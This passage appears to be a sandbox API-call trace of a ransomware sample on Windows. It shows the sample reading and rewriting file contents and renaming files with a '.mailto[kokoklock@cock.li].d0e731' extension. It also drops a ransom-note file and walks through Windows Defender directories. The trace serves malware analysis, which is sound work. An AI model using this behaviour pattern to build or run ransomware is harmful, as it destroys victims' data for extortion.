RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x4c4dd03a [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x7164b87a [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x2c81f89e [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x3cfd08f [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x642292b1 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x962b07f7 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x43652090 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0xb3efd907 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x4036a2ea [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x29e533cf [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x538c47e6 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0xcd3ee07e [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0xb5b799b5 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x5e3ddb59 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x4240a159 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x1509c5d2 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x3138395f [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x2fb65d16 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x95e81d28 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x98a482d6 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0xf9be9585 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x85b0170b [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x1f21a7ad [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x654fc920 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x3c9f989 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x4e934cb1 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x21304e99 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x9e7c35c6 [0075.073] RtlRandom (in: Seed=0x1b93feb0 | out: Seed=0x1b93feb0) returned 0x804568c7 [0075.084] ReadFile (in: hFile=0x9bc, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1231, lpNumberOfBytesRead=0x1b93fea4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1b93fea4*=0x1231, lpOverlapped=0x0) returned 1 [0075.085] SetFilePointerEx (in: hFile=0x9bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1b93fe6c | out: lpNewFilePointer=0x0) returned 1 [0075.085] WriteFile (in: hFile=0x9bc, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x1231, lpNumberOfBytesWritten=0x1b93fea0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x1b93fea0*=0x1231, lpOverlapped=0x0) returned 1 [0075.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479070 [0075.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479098 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479098) returned 1 [0075.085] WriteFile (in: hFile=0x9bc, lpBuffer=0x3479070*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b93fe9c, lpOverlapped=0x0 | out: lpBuffer=0x3479070*, lpNumberOfBytesWritten=0x1b93fe9c*=0x20, lpOverlapped=0x0) returned 1 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479070) returned 1 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0075.085] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x3479048*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x3479048*, lpNumberOfBytesWritten=0x1b93fec8*=0x8, lpOverlapped=0x0) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x1b93fee0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x1b93fee0*, lpNumberOfBytesWritten=0x1b93fec8*=0x4, lpOverlapped=0x0) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1b93fec8*=0x4, lpOverlapped=0x0) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1b93fec8*=0x6c, lpOverlapped=0x0) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x3478e90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x3478e90*, lpNumberOfBytesWritten=0x1b93fec8*=0x20, lpOverlapped=0x0) returned 1 [0075.086] WriteFile (in: hFile=0x9bc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1b93fec8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1b93fec8*=0x4, lpOverlapped=0x0) returned 1 [0075.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0075.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478fd0) returned 1 [0075.086] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479048) returned 1 [0075.086] CloseHandle (hObject=0x9bc) returned 1 [0075.086] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431580 [0075.086] wcscpy (in: _Dest=0x3431580, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" [0075.086] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731" [0075.086] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.087] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.088] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0075.088] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png", dwFileAttributes=0x20) returned 0 [0075.088] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7a) returned 0x347edf8 [0075.088] wcscpy (in: _Dest=0x347edf8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Live\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\" [0075.088] wcscat (in: _Dest=0x347edf8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Live\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Live\\D0E731-Readme.txt" [0075.088] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows live\\d0e731-readme.txt")) returned 0xffffffff [0075.088] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows live\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9bc [0075.088] WriteFile (in: hFile=0x9bc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1b93fec4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1b93fec4*=0x481, lpOverlapped=0x0) returned 1 [0075.090] CloseHandle (hObject=0x9bc) returned 1 [0075.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347edf8) returned 1 [0075.090] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccef0) returned 1 [0075.090] RtlExitUserThread (Status=0x1) Thread: id = 728 os_tid = 0xe00 [0075.084] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f0d80 [0075.084] wcscpy (in: _Dest=0x33f0d80, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" [0075.090] wcscat (in: _Dest=0x33f0d80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\" [0075.090] wcscat (in: _Dest=0x33f0d80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*" [0075.090] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f56c0 [0075.090] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*", lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0075.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f56c0) returned 1 [0075.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f0d80) returned 1 [0075.091] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6138) returned 1 [0075.091] RtlExitUserThread (Status=0x0) Thread: id = 729 os_tid = 0x1184 [0075.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e5fe8 [0075.092] wcscpy (in: _Dest=0x33e5fe8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" [0075.092] wcscat (in: _Dest=0x33e5fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\" [0075.092] wcscat (in: _Dest=0x33e5fe8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*" [0075.092] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f56c0 [0075.092] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*", lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0075.092] wcscmp (_String1=".", _String2=".") returned 0 [0075.093] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.093] wcscmp (_String1="..", _String2=".") returned 1 [0075.093] wcscmp (_String1="..", _String2="..") returned 0 [0075.093] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.093] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0075.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f56c0) returned 1 [0075.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5fe8) returned 1 [0075.093] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6918) returned 1 [0075.093] RtlExitUserThread (Status=0x0) Thread: id = 730 os_tid = 0x1314 [0075.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccd70 [0075.095] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store" [0075.095] wcscat (in: _Dest=0x33ccd70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\" [0075.095] wcscat (in: _Dest=0x33ccd70, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*" [0075.095] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f56c0 [0075.095] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Clean Store\\*", lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d5968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0075.096] wcscmp (_String1=".", _String2=".") returned 0 [0075.096] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d5968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.096] wcscmp (_String1="..", _String2=".") returned 1 [0075.096] wcscmp (_String1="..", _String2="..") returned 0 [0075.096] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d5968, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.097] FindClose (in: hFindFile=0x34342e8 | out: hFindFile=0x34342e8) returned 1 [0075.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f56c0) returned 1 [0075.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0075.097] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cccf0) returned 1 [0075.097] RtlExitUserThread (Status=0x0) Thread: id = 731 os_tid = 0x368 [0075.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x86) returned 0x33e2570 [0075.099] wcscpy (in: _Dest=0x33e2570, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0075.099] wcscat (in: _Dest=0x33e2570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0075.099] wcscat (in: _Dest=0x33e2570, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*" [0075.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f56c0 [0075.099] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34342e8 [0075.102] wcscmp (_String1=".", _String2=".") returned 0 [0075.102] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.102] wcscmp (_String1="..", _String2=".") returned 1 [0075.102] wcscmp (_String1="..", _String2="..") returned 0 [0075.102] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0075.102] wcscmp (_String1="Backup", _String2=".") returned 1 [0075.102] wcscmp (_String1="Backup", _String2="..") returned 1 [0075.102] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347c620 [0075.102] wcscpy (in: _Dest=0x347c620, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0075.102] wcscat (in: _Dest=0x347c620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0075.102] wcscat (in: _Dest=0x347c620, _Source="Backup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" [0076.614] Sleep (dwMilliseconds=0x1) [0076.621] Sleep (dwMilliseconds=0x1) [0077.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x347c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0077.572] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0077.572] wcscmp (_String1="Default", _String2=".") returned 1 [0077.572] wcscmp (_String1="Default", _String2="..") returned 1 [0077.572] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb090 [0077.572] wcscpy (in: _Dest=0x33eb090, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0077.572] wcscat (in: _Dest=0x33eb090, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0077.572] wcscat (in: _Dest=0x33eb090, _Source="Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0077.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0077.573] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0077.573] wcscmp (_String1="NisBackup", _String2=".") returned 1 [0077.573] wcscmp (_String1="NisBackup", _String2="..") returned 1 [0077.573] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0077.573] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0077.573] wcscat (in: _Dest=0x33eb270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\" [0077.573] wcscat (in: _Dest=0x33eb270, _Source="NisBackup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\NisBackup" [0077.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33eb270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e4 [0077.574] FindNextFileW (in: hFindFile=0x34342e8, lpFindFileData=0x33f56c0 | out: lpFindFileData=0x33f56c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0077.574] wcscmp (_String1="Updates", _String2=".") returned 1 [0077.574] wcscmp (_String1="Updates", _String2="..") returned 1 [0077.574] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eab90 [0077.574] wcscpy (in: _Dest=0x33eab90, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" [0077.574] wcscat (in: _Dest=0x33eab90, _Source="\\" | out: 